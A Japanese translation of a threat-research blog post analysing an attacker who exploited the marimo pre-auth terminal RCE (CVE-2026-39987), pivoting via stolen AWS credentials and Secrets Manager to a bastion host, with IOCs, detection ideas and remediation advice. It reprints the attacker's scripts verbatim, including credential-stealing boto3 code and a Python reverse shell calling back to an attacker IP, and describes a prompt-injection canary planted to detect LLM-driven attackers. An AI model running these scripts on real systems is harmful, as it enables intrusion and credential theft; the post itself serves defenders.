< ブログ一覧に戻る

マシンスピード、AI抜きで:手作業で作成した marimo CVE-2026-39987 エクスプロイト

清水 孝郎
マシンスピード、AI抜きで:手作業で作成した marimo CVE-2026-39987 エクスプロイト
執筆者
清水 孝郎
マシンスピード、AI抜きで:手作業で作成した marimo CVE-2026-39987 エクスプロイト
Published:
September 15, 2026
この記事の内容
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく
Green background with a circular icon on the left and three bullet points listing: Automatically detect threats, Eliminate rule maintenance, Stay compliant, with three black and white cursor arrows pointing at the text.

本文の内容は、2026年9月11日に Sysdig 脅威リサーチチーム(TRT)が投稿したブログ (URL) を元に日本語に翻訳・再構成した内容となっております。

AI が攻撃者の参入障壁を下げていることは、もはや議論の余地がありません。しかし、スキルの高い脅威アクターが LLM 駆動の競合と同じペースを保てるのかどうかは、いまだ議論の的です。

最近、Sysdig 脅威リサーチチーム(TRT)は、ある単独の脅威アクターが、開いた WebSocket から踏み台ホスト(bastion host)への実際の SSH セッション確立までを、わずか8秒で完了させる様子を観測しました。そこにエージェントは介在せず、LLM が生成したスクリプトやツールの痕跡もありませんでした。代わりに、このオペレーターはセッション内で、その前の4時間にわたり手作業で書き上げ、デバッグした Python ツールキットを使用していました。

攻撃者は、marimo の認証前 RCE(Remote Code Execution)脆弱性である CVE-2026-39987 を悪用しました。攻撃者は、認証情報のピボットチェーンを最初から最後まで完全に実行しました。侵害されたインスタンスから窃取した認証情報を使った未認証の WebSocket ターミナルによる初期アクセス、それを用いた AWS Secrets Manager の呼び出し、そして取得した秘密鍵による踏み台ホストへの SSH アクセスです。9時間に及ぶセッションの中で、攻撃者は850件を超える対話的なコマンドを発行しましたが、公開されている既知の攻撃ツールは一切使用せず、スクリプトはすべてセッション内で手作業で作成していました。

8秒というのは、AI支援型の攻撃で見られると想定していた速度です。このオペレーターは、スキルのみでその速度に到達しており、その過程で、同じ CVE を対象にこれまで分析してきたすべてのエージェント型脅威アクター(ATA)が陥った罠を、まったく引っかからずに通り抜けています。スキルの高い人間の攻撃者は、マシンスピードで動けるだけでなく、多くの場合、防御側の検知をより巧みに回避することもできるのです。

これは、CVE-2026-39987 を対象に私たちが分析してきた複数のオペレーターのうちの一例です。このシリーズは、開示からわずか10時間未満での悪用から始まり、NKAbuse RAT キャンペーンへと続いてきました。このオペレーターが独特なのは、その手口の巧みさです。他のオペレーターが明確な LLM の痕跡を残していたのに対し、このオペレーターは自動化コードを手作業で書き、エージェント駆動のオペレーターが確実に引っかかった仕掛けのプロンプトインジェクションを無視し、事前のセッションで準備しておいたツールキットを使って、RCE 後の3つのステップを8秒でつなぎ合わせました。

ここからは、Sysdig TRT が観測した内容、いくつかの検知手法や侵害の痕跡(IOC)、そして防御側が一歩先を行くためにできることを見ていきます。

タイムライン

時刻はすべて UTC です。

時刻

イベント

最初に観測されたターミナル操作の28時間以上前

最初に窃取された AWS 認証情報が、CloudTrail 上の GetCallerIdentity によって検証される 

最初の認証情報が窃取されてから33分後

2つ目の窃取された認証情報(アプリケーションの Redis バックエンドから取得)が検証される 

12:52:18

172.236.12.17 から /terminal/ws への最初の WebSocket 接続

12:54:13

最初の対話的コマンド:ホストが属する RFC1918 の /24 に対する /dev/tcp スイープ

16:00–16:30

オペレーターが、base64 エンコードされた一連の Python スクリプトを /tmp/ に配置

16:50:40

boto3 スクリプトが AWS 上で secretsmanager:GetSecretValue を呼び出す

16:51:45

取得した SSH 鍵を、インターネットから到達可能な踏み台ホストに対してリプレイ

18:54:31

新しい WebSocket セッションが開かれる

18:54:45

CloudTrail 上で AWS Secrets Manager への API 呼び出しを観測(WebSocket 開始から14秒後)

18:56:32–18:56:44

EC2 の列挙が拒否される:DescribeInstances →

UnauthorizedOperation;DescribeKeyPairs → AccessDenied;

DescribeInstanceInformation → AccessDenied

18:56:50

ec2:SendSSHPublicKey が i-0000000000000000(無効なインスタンスID。列挙が実際のIDを一度も返さなかったため)に対して発行されるがブロックされる

18:57:22

18:57:30

新しい WebSocket セッションが開かれる

そのセッションの WebSocket 開始から8秒後に、踏み台ホストでの

SSH 認証を観測

20:13–20:32

オペレーターが、攻撃者が所有する VPS に対して asyncssh 形式のリスナーをセットアップ

21:50:14

このオペレーターの最終切断

最初の対話的コマンドであるホストの /24 に対する TCP プローブと、最初の認証情報を使った AWS API 呼び出しの間には、ほぼ4時間の間隔があります。この時間帯こそ、オペレーターがツールを構築し、デバッグしていた期間だとほぼ間違いないでしょう。ツールキットが完成し動作するようになった後は、スクリプトが既にディスク上にあり、実行するコマンド1つだけで済んだため、その後の再接続ではチェーン全体が数秒で完了しています。

脆弱性

marimo のノートブックは、GPU へのアクセス、大規模なデータセット、そして AWS、GCP、各種モデルプロバイダーへの認証情報付き接続を備えたホスト上で、ML パイプラインと並べて運用されることが一般的です。marimo インスタンスが侵害されると、それは被害者のクラウドアカウントへの入口になります。

CVE-2026-39987 は、認証前の RCE 欠陥です。GitHub のアドバイザリでは、marimo 0.20.4 以下のすべてのバージョンが影響を受けるとされており、修正版は 0.23.0 でリリースされました。/terminal/ws という WebSocket エンドポイントは対話的な PTY シェルを提供しますが、同じアプリケーション内の他の WebSocket エンドポイントが正しく適用している認証検証をスキップしています。このパスに WebSocket を開けるクライアントであれば誰でも、認証情報を必要とせず、marimo プロセスのユーザー権限で動作する完全な対話型シェルを得られます。悪用にはペイロードやエンコーディングは一切不要で、そのパスへの WebSocket 接続を開くだけで十分です。バージョン 0.23.0 の修正では、欠落していた validate_auth() 呼び出しをターミナルエンドポイントに組み込んでいます(PR #9098)。

観測された内容

手作業による AWS オペレーションの自動化

これまでの marimo に対する攻撃はすべて、LLM 駆動のオペレーターであることを示す明確な痕跡を残していました。彼らは、AWS のリクエスト署名コードを記憶から、単一のシェルセッション内で一行ずつ入力していました。一方、このオペレーターは、複数のセッションにわたって boto3 のチェーンスクリプトを書き、デバッグし、それを base64 エンコードした Python ファイルとして /tmp/ に配置しました。この過程で、脅威アクターが AI を使用したことを示す証拠は一切ありませんでした。

セッションの後半で、攻撃者は17分間の間に8種類のスクリプトを繰り返し使用しており、それぞれが同じパターンで /tmp/ に base64 デコードされていました:echo '<base64-blob>' | base64 -d > /tmp/<name>.py。この base64 でのラップには2つの目的があります。複数行にわたる Python コードを埋め込む際のシェルのクォーティング問題を回避できること、そして、ファイルをざっと確認した防御側にスクリプトの内容を明かさない、1行だけの bash_history エントリを生成できることです。

以下に、展開された順序でツールキット全体を再現しています。AWS の認証情報の値は編集(redacted)済みですが、それ以外はすべて WebSocket のコマンドストリームからそのまま抜粋したものです。

スクリプト1:リージョンフォールバック付きの初回 Secrets Manager 取得

このスクリプトは、例外が発生すると5つの AWS リージョンを順に試します。認証情報は環境変数から読み込むのではなくソースコードにハードコードされており、オペレーターがシェルセッションの以前の時点で既に取得していた認証情報を使って試行を重ねていたことがわかります。

import boto3, json
try:
    client = boto3.client("secretsmanager",
        aws_access_key_id="",
        aws_secret_access_key="",
        region_name="us-east-1")
    resp = client.get_secret_value(SecretId="REDACTED")
    val = resp.get("SecretString", "")
    if not val:
        val = resp.get("SecretBinary", b"").decode()
    print("SECRET_START")
    print(val)
    print("SECRET_END")
except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try other regions
    for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
        try:
            c2 = boto3.client("secretsmanager",
                aws_access_key_id="",
                aws_secret_access_key="",
                region_name=region)
            r2 = c2.get_secret_value(SecretId="REDACTED")
            val = r2.get("SecretString", "")
            if not val:
                val = r2.get("SecretBinary", b"").decode()
            print(f"FOUND_IN_{region}")
            print("SECRET_START")
            print(val)
            print("SECRET_END")
            break
        except Exception as e2:
            print(f"REGION_{region}:{e2}")

スクリプト2:鍵の永続化と JSON パースを備えた、改良版の Secrets Manager 取得

これが主力となるスクリプトです。取得した鍵をモード 0600/tmp/bastion_key に書き込み、シークレットの値を JSON としてパースして {key: ...} 構造か生の文字列レスポンスのいずれかに対応し、アクセス拒否時には secretsmanager:ListSecrets にフォールバックします。SecretId の値も2つのスクリプトのバージョン間で変更されており、侵害されたホストから追加情報を得た後、オペレーターがシークレット名を試行錯誤していたことがうかがえます。

import boto3, json, os, sys

# Use env vars (already set)
# AWS_ACCESS_KEY_ID=
# AWS_SECRET_ACCESS_KEY=
# AWS_DEFAULT_REGION=us-east-1

client = boto3.client("secretsmanager")

try:
    resp = client.get_secret_value(SecretId="REDACTED")
    secret = resp.get("SecretString", "")
    if not secret:
        secret = resp.get("SecretBinary", b"").decode()

    print("SECRET_RETRIEVED")
    print(f"SECRET_LEN:{len(secret)}")

    # Try to parse as JSON
    try:
        data = json.loads(secret)
        for k, v in data.items():
            if "key" in k.lower() or "private" in k.lower():
                with open("/tmp/bastion_key", "w") as f:
                    f.write(v)
                os.chmod("/tmp/bastion_key", 0o600)
                print(f"KEY_FIELD:{k}")
                print(f"KEY_HEAD:{v[:60]}")
                print("KEY_SAVED:/tmp/bastion_key")
            else:
                print(f"FIELD:{k}={str(v)[:100]}")
    except json.JSONDecodeError:
        # Raw key data
        with open("/tmp/bastion_key", "w") as f:
            f.write(secret)
        os.chmod("/tmp/bastion_key", 0o600)
        print(f"RAW_KEY_HEAD:{secret[:60]}")
        print("KEY_SAVED:/tmp/bastion_key")

except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try listing secrets
    try:
        secrets = client.list_secrets(MaxResults=20)
        for s in secrets.get("SecretList", []):
            print(f"SECRET_LIST:{s['Name']}")
    except Exception as e2:
        print(f"LIST_ERR:{e2}")

スクリプト3:標準ライブラリのみによる直接的なリバースシェル

これは、サードパーティのインポートやエンコーディングを一切使わず、socketos.dup2subprocess のみで構成された、標準ライブラリのみ(stdlib-only)の Python リバースシェルです。最初のバージョンにはエラー処理がありませんでしたが、2番目のバージョンでは try/excepts.settimeout(10) が追加されており、おそらく前回の試行でシェルがハングしたことを受けたものと考えられます。

import socket, subprocess, os, sys
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect(("45.79.187.72", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])
except Exception as e:
    print(f"SHELL_ERR:{e}", file=sys.stderr)

スクリプト4:鍵タイプ検出機能付きの、VPS への SSH 接続とリスナー設定 

このスクリプトは、RSAKeyEd25519KeyECDSAKey の順に試行します。オペレーターは踏み台の鍵がどのアルゴリズムを使用しているかを把握していませんでした。SSH で接続した後、ポート 4444 上で稼働している既存の nc リスナーを終了させ、新たに nohup nc -lvp 4444 リスナーを起動し、ss -tlnp でリスナーがバインドされたことを確認します。出力構造(診断情報には stderrRELAY_READY のようなステータスフラグには stdout)は、このツールキット内のすべてのスクリプトで一貫しており、対話的に実行するものではなく、他のスクリプトから呼び出されることを想定したプログラム的なインターフェースであることを示しています。

#!/usr/bin/env python3
import paramiko, io, time, sys

with open("/tmp/relay_key", "r") as f:
    key_data = f.read()

print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)

# Try loading the key
key = None
for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
    try:
        key = KeyClass.from_private_key(io.StringIO(key_data))
        print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
        break
    except Exception as e:
        print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
        continue

if not key:
    print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
    sys.exit(1)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
    client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
    print("SSH_CONNECTED", file=sys.stderr)

    # Kill any existing nc on 4444
    client.exec_command("pkill -f 'nc.*4444' 2>/dev/null")
    time.sleep(1)

    # Start listener
    client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
    time.sleep(2)

    # Verify
    _,o,_ = client.exec_command("ss -tlnp | grep 4444")
    verify = o.read().decode().strip()
    print(f"LISTENER: {verify}", file=sys.stderr)

    _,o2,_ = client.exec_command("hostname; id")
    info = o2.read().decode().strip()
    print(f"RELAY_INFO: {info}", file=sys.stderr)

    client.close()
    print("RELAY_READY")
except Exception as e:
    print(f"SSH_ERROR: {e}", file=sys.stderr)

スクリプト5:フルチェーン ― リスナー設定とリバースシェルの起動

ファイル名と、20:13〜20:32 UTC のウィンドウ内で最後に配置されたスクリプトであるという位置付けから、このスクリプトはスクリプト1〜4の Secrets Manager 取得、鍵の処理、リバースシェルのロジックを1つのモジュールに統合したものと見られます。ただし、コマンドストリームがそこで途切れてしまったため、import 文と冒頭のコメントヘッダー以降の内容は捕捉できませんでした。

import paramiko, io, os, time, sys, socket, subprocess


# Read the b

同一プロバイダー上のインフラ

送信元 IP(172.236.12.17、ロンドン)と、コマンド&コントロール(C2)のリスナー先(45.79.187.72、ニュージャージー州シーダーノールズ)は、いずれも Linode が運用する自律システムである AS63949 Akamai Connected Cloud に属しています。オペレーターは、操作用のシェルとコールバックの受け皿の両方に同じ VPS プロバイダーを使用していました。これは、冗長性を確保するために同一プロバイダー上で複数の VPS インスタンスを購入する低コスト型の攻撃者によく見られる特徴です。これは有用なクラスタリングの手がかりとなります。送信元 IP と C2 の両方が AS63949 内にある他の侵害事例があれば、同一オペレーターによるものである可能性が高いためです。

プロンプトインジェクションの罠への耐性

Sysdig TRT は、人間のオペレーターと LLM 駆動のツールを区別するために、この脆弱な marimo コンテナ内に自然言語による指示を仕込んでいました。このプローブは、特定のファイルを指示として処理する LLM エージェントに対し、隠しマーカーを自身の出力にエコーバックすることで自己証明するよう指示するものです。これまでに報告された LLM 駆動のオペレーターは、いずれもこのコンテキストを読み取り、その後入力するコマンドの中で確実にこのマーカーをエコーしていました。

しかし、このオペレーターはセッション中に2回、このファイルを確認し、両方の機会でプローブを目にしたにもかかわらず、一度もマーカーをエコーしませんでした。マーカーは、この送信元 IP に関連するどのコマンド、ペイロード、クエリフィールドにも一度も現れませんでした。人間の手によるペースで進行するセッション構造、AWS のリージョンフォールバックのロジックに見られる反復的なデバッグ、そしてセッションをまたいで見られる手入力によるクォーティングの揺れと合わせて考えると、これは、この脆弱性に対して私たちが収集した中で最も明確な、LLM エージェントではないことを示す行動的な特徴です。

スキルの高い人間は、回避と判断力だけで LLM 駆動のオペレーターを上回ることができます。どちらの脅威も、本質的に他方より危険であるとか安全であるとかいうことはありません。重要なのは、一方に対して構築された防御策は、他方の行動を見逃す可能性が高いという点です。防御側は、両方のタイプの攻撃者に対する防御を引き続き強化していく必要があります。

試みられた2つの AWS 認証情報の経路

オペレーターは、侵害された marimo インスタンス上の2つの異なる面から AWS の認証情報を窃取しました。

  • 認証情報1は、侵害されたホスト上の環境変数と認証情報ファイルから窃取されました。オペレーターは、最初の WebSocket 接続の前に、これを CloudTrail 上で検証しています。
  • 認証情報2は、アプリケーションの Redis バックエンドに対する、保存された暗号化済み認証情報キーへの GET ルックアップへの応答として返されました。これは、最初の認証情報から33分後に検証されています。

最初の認証情報の検証と、最初に観測されたターミナル操作との間には28時間のギャップがあり、これは最初の窃取が私たちの可視範囲よりも前に行われたことを意味します。オペレーターは、私たちがログを保有しているどのターミナルセッションにも現れる前に、両方の認証情報を検証済みであり、その後、両方を boto3 のチェーンで試しています。この2つの認証情報は異なる IAM ユーザーに対応しており、両方が使用されたことを観測できたという事実は、最初の認証情報では踏み台のシークレットが得られなかったため、オペレーターが2つ目の認証情報にピボットしたという、反復的な探索プロセスを裏付けています。

8秒間の、人間が組み上げたサイクル

活動開始から3時間目には、ツールキットはすでにディスク上にあり、テストも完了していました。その時点以降、オペレーターが WebSocket セッションを再確立できる速さのまま、チェーンは最初から最後まで実行されました。

  • 18:57:22:新しい WebSocket 接続
  • 18:57:26:アプリケーションに保存された認証情報へのルックアップにより、窃取した AWS の鍵が返される
  • 18:57:30:踏み台ホストで SSH 認証を観測

WebSocket が開かれてから踏み台での認証までは8秒であり、その間に AWS Secrets Manager への API 呼び出しが行われています。このオペレーターの手口は、エージェント型のフレームワークではなく、認証情報を取得し、Secrets Manager から SSH 鍵を取得し、それをディスクに書き込み、一度の操作で踏み台への SSH 認証を行う、バックグラウンドで実行される単一の python3 呼び出しに集約されていました。

自らのペースで再接続を行った人間が操作する、手作業によるツールは、これまで私たちが明らかにしてきた AI 駆動の脅威と同じ運用上の攻撃タイムスケールに到達しています。マシンスピードの脅威は、AI によって新たに生まれたものではありません。SCARLETEEL は、2023年初頭にすでに3分足らずでデータを持ち出していました。しかし、AI は攻撃者の参入障壁を確実に下げており、マシンスピードへの到達をはるかに容易にしています。

AWS EC2 Instance Connect:無効なターゲットに対して発行された自動化処理

2つの WebSocket セッションの間に、バックグラウンドのスクリプトが Elastic Compute Cloud(EC2)への4つの API 呼び出しを、間を置かず連続して発行しました。

時刻(UTC)

API 呼び出し

結果

18:56:32

DescribeInstances

UnauthorizedOperation

18:56:39

DescribeKeyPairs

AccessDenied

18:56:44

DescribeInstanceInformation

AccessDenied

18:56:50

SendSSHPublicKey(インスタンス i-0000000000000000)

ブロック

列挙のための呼び出しはすべて拒否されました。このスクリプトのロジックは、おそらく稼働中のインスタンスを列挙してインスタンス ID を取得し、その後 EC2 Instance Connect を使ってオペレーターが管理する公開鍵をプッシュし、Secrets Manager の鍵を完全にスキップしたパスワード不要の SSH 経路を確立することを意図していたと考えられます。EC2 Instance Connect 経由で鍵をプッシュし、Secrets Manager の経由を回避して直接 SSH でログインする方法は、より洗練された永続化の手法です。

問題は、列挙が失敗した場合のエラー処理が不完全だったことです。DescribeInstancesUnauthorizedOperation を返した場合、対象のインスタンス ID を保持する変数には値が一切設定されませんでした。それでもスクリプトは、その変数がデフォルトで持っていた値、この場合は実際の EC2 インスタンスが持つことのないプレースホルダーである i-0000000000000000 を使って、SendSSHPublicKey を発行しました。AWS は、この呼び出しを IAM の評価に到達する前に、不正な形式のインスタンス ID として拒否しました。

これは、自動化処理が特定の形で失敗した例です。オペレーターは、鍵のプッシュが拒否される(インスタンスは存在するがプッシュが拒否される)ケースには対応していましたが、列挙が失敗する(プッシュ先のインスタンス ID自体が存在しない)ケースには対応していませんでした。プレースホルダーへのフォールバックが起きたということは、その Python 変数が未初期化のまま、あるいは AWS から提供された ID ではなくセンチネル値のまま使われていたことを示しています。

ここで2点、注目に値します。第一に、EC2 Instance Connect の経路は見た目以上に危険です。列挙が成功していた場合、オペレーターは Secrets Manager に一切触れることなく、インスタンスへの直接的な SSH 経路を得ていたはずです。第二に、プレースホルダーに対する SendSSHPublicKey の呼び出しは、このオペレーターの行動的な特徴として、いまや記録に残るものとなりました。EC2 の列挙が拒否されても、そのまま API 呼び出しを発行してしまうという特徴です。3回の列挙拒否の後にプレースホルダーへの SendSSHPublicKey が続くという特定のシーケンスは、列挙のガードなしで動作する自動化処理を示す、精度の高いフィンガープリントです。

このオペレーターのプロファイルが重要である理由

EC2 Instance Connect の経路は、このオペレーターの思考プロセスについて、いくつかの洞察を与えてくれます。以前の LLM 駆動のオペレーターたちとは異なり、彼らは踏み台への経路を1つだけに依存していませんでした。Secrets Manager のチェーンが8秒サイクルで動いている間、もう1つの独立したスクリプトが、SSH 鍵をインスタンスへ直接プッシュすることで、別の入口を開こうとしていたのです。これは、最初の手段がブロックされる可能性を想定した、人間が構築した冗長性です。一方、エージェント型脅威アクターは、多くの場合失敗するとその数秒後に別の手段を試すだけで、こうした不測事態への備えを構築することはありません。

その意味で、列挙の失敗に続く鍵プッシュの試みは、列挙が空で返ってきた場合に何が起こるかを考慮せず、速いペースでその場で試行を重ねる人間らしさを示す兆候です。これは、人間のトレードクラフトが、きわめて人間らしい形で失敗しうることを思い出させてくれます。これは、本来であれば処理を中止すべきだった人間のコーディングミスであり、それでもプレースホルダーの値のまま処理が進んでしまいました。これは、LLM 駆動のツールが起こしやすい種類のミスではありません。

防御側にとっての実務的な意味は、検知がオペレーターのクラス(人間か LLM か)を示すフィンガープリントに依存できないということです。LLM が生成した cat ~/.bash_history のようなシーケンスと、手入力された nohup python3 /tmp/chain.py は、シェルのコマンドストリームとしては全く異なる見た目をしていますが、どちらも同じ secretsmanager:GetSecretValue の API 呼び出し、SSH 鍵の受け渡し、そして踏み台への外向き TCP 接続という結末に至ります。検知で優先すべきは、シェルの入力パターンではなく、チェーンの形そのものです。

セキュリティ侵害の痕跡(IOC)

送信元 IP

IP

ASN・プロバイダー

地域

役割

172.236.12.17

AS63949 Akamai Connected Cloud (Linode)

ロンドン、イギリス

すべての対話的 WebSocket セッションの送信元

45.79.187.72

AS63949 Akamai Connected Cloud (Linode)

シーダーノールズ、ニュージャージー州、アメリカ

nc -lvp 4444 のコールバックリスナーとして使用された、攻撃者が所有する VPS

172.236.12[.]17 の Linode エンドポイントは、ほぼ確実に使い捨て型の VPS インフラです。45.79.187[.]72 のリスナーはより重要な意味を持ちます。オペレーターがこの VPS への SSH の root アクセスを示していたことから、この VPS の料金を支払っているか、あるいは盗んだ認証情報を保持しているかのいずれかであり、少なくとも今回のキャンペーンの期間中は使用し続けていたことがわかります。操作用のシェルと同じ VPS プロバイダー上にある、長期間存続するインフラは、追跡する価値のあるクラスタリングの手がかりです。

ファイルおよびパスの痕跡

  • base64 デコードされた boto3 のチェーンスクリプト: /tmp/chain.py, /tmp/full_chain.py
  • AWS Secrets Manager のレスポンスから書き込まれた SSH 秘密鍵(モード 0600): /tmp/bastion_key
  • nohup の出力先: /tmp/chain.log, /tmp/chain_output.txt
  • C2 ホスト上の nc -lvp 4444 の出力先: /tmp/callback.log

行動の痕跡

  • echo '<long-base64-blob>' | base64 -d > /tmp/<name>.py の数秒後に続く nohup python3 /tmp/<name>.py > /tmp/<name>.log 2>&1 &
  • boto3.client("secretsmanager") の呼び出しに続いて、まさにこの順序で ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"] を例外駆動で反復処理する動作
  • 既知の SSH クライアントバイナリではないプロセスからの paramiko.SSHClient.connect(<ip>, username="root") の呼び出し
  • セッションの序盤に見られる pip3 install boto3 2>&1 | tail。marimo コンテナには boto3 が同梱されていないため、それを知らないオペレーターは最初の AWS 呼び出しに失敗します

検知

検知は、個々のコマンド単体ではなく、チェーンの形に焦点を当てるべきです。ノートブックホスト上で以下の挙動が順に観測された場合、それは私たちが捕捉した侵害後のチェーンそのものを示しています。

  1. ノートブックコンテナ内で実行されているプロセスが、/proc/self/environ またはアプリケーションの .env ファイルを読み取る。
  2. 同じプロセスが、デフォルトとは異なるユーザーエージェントで secretsmanager.<region>.amazonaws.com への外向き HTTPS リクエストを行う。
  3. 同じ1分以内に、コンテナから非標準ポート上の RFC 1918 に該当しない宛先への、外向き TCP 接続が行われる。

CloudTrail での検知は単純です。それまで Secrets Manager を呼び出した履歴が一度もない AWS プリンシパルから発生した secretsmanager:GetSecretValue の呼び出しが errorCode: AccessDeniedException を返し、その後、同じプリンシパルから1分以内に複数のリージョンにわたる再試行が続く場合、これはリージョンフォールバック型の探索パターンを示す精度の高い証拠です。

Sysdig Secure をお使いのお客様の場合、コンテナドリフトおよび外向きネットワークエグレスのランタイムポリシークラスが、この攻撃チェーンのホスト側の部分をカバーします。AWS GuardDuty の UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS の検出結果は、窃取された鍵が AWS アカウントの通常のエグレス範囲外の IP からリプレイされた場合の、クラウド側をカバーします。

推奨事項

  • marimo を更新し、まだの場合はバージョン 0.23.0 以降にしてください。この脆弱性は、数か月にわたり CISA KEV(既知の悪用された脆弱性カタログ)に掲載されています。連邦政府の修正対応期限は 2026年5月7日でした。
  • /terminal/ws エンドポイントを制限してください。リバースプロキシで認証を設けるか、ノートブックプラットフォームをインターネットに公開すべきではないため、ターミナル機能自体を無効化してください。
  • クラウド認証情報の配置場所を監査してください。このオペレーターは、プロセス環境とアプリケーションのデータバックエンドという2つの異なる面から、それぞれ別の AWS 鍵を窃取し、両方を試していました。プロセス環境(/proc/<pid>/environ)、systemd の EnvironmentFile エントリ、~/.aws/credentials~/.aws/config、アプリケーションの .env、そしてノートブックサービスが実行時に問い合わせるあらゆるシークレットストアを確認してください。2つの鍵は異なる IAM ユーザーに対応していたため、一方の面だけを取り除いても、この経路を閉じることはできなかったでしょう。
  • Secrets Manager へのアクセスをスコープ制限してください。ノートブックホスト上に認証情報を持つ IAM ユーザーは、deploy-bastion の SSH 鍵への読み取りアクセス権を持つべきではありませんsecretsmanager:GetSecretValue の権限は、そのプリンシパルが実際に必要とするシークレットのみに制限してください。
  • ノートブックコンテナからのエグレスを制限してください。アプリケーションが明示的に必要とするポート(PyPI ミラー、モデル API など)以外への、ノートブックホストからパブリックインターネットへの外向き TCP 通信をブロックしてください。リバースシェルで使われるポート範囲(4444、1337、1234、8080、9001、31337)は、ノートブックのエグレスに一切現れるべきではありません。
  • 認証情報をローテーションしてください。インターネットから到達可能な marimo インスタンス上でこれまでに露出していた認証情報はすべてローテーションの対象です。/terminal/ws が4月8日以降のいずれかの時点で到達可能だった場合は、.env の内容、アプリケーションのデータレイヤー、そしてすべての環境変数が露出済みであると想定してください。
  • ハンティングを行い、ノートブックホストの /tmp/ 内にある chain.pybastion_key、および同様の名前のファイルを探してください。このクラスのオペレーターにとって永続化はまれですが、/tmp/ に残されたツールキットは、セッションをまたいで再利用可能な形で残り続けます。

まとめ

この marimo の脆弱性(CVE-2026-39987)は、スキルレベルやツールのプロファイルが大きく異なるオペレーターたちを、依然として引き続き引き寄せています。しかし、私たちが観測したすべての攻撃は、同じ結末に集約されています。ノートブックホストが通常保持している認証情報を窃取し、それを上流のクラウドアカウントに対してリプレイし、内部へとピボットするというものです。

認証情報の窃取から踏み台までを8秒でつなぐこのチェーンこそが、防御側が想定しておくべき基準線です。オペレーターが適切なツールキットを一度ダウンロードあるいは構築してしまえば、この攻撃の RCE 後のフェーズは、ほとんどの検知・対応チームが反応するための準備が整うよりも速く進みます。防御可能な立ち位置は、より上流にあります。パッチを適用し、WebSocket エンドポイントを制限し、ノートブックの侵害がそのままクラウドアカウントの侵害を意味しないよう、クラウド認証情報の権限をスコープ制限することです。

AI は攻撃の経済性を変えつつあるかもしれません。より多くの標的、より速い time-to-exploit(悪用までの時間)、そして繰り返し作業における手作業の負担の軽減といった形で。しかし、それはまだ、ゼロから作り上げ、罠を回避する方法を知っているスキルの高い攻撃者を置き換えるには至っていません。現在の脅威の状況には両者が存在し、同じ脆弱性を対象に同じ結末を求め、同じ速度でそれを行っています。防御側は、両方に対して備え続けなければなりません。

About the author

Cloud Security
Cloud detection & response
featured resources

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう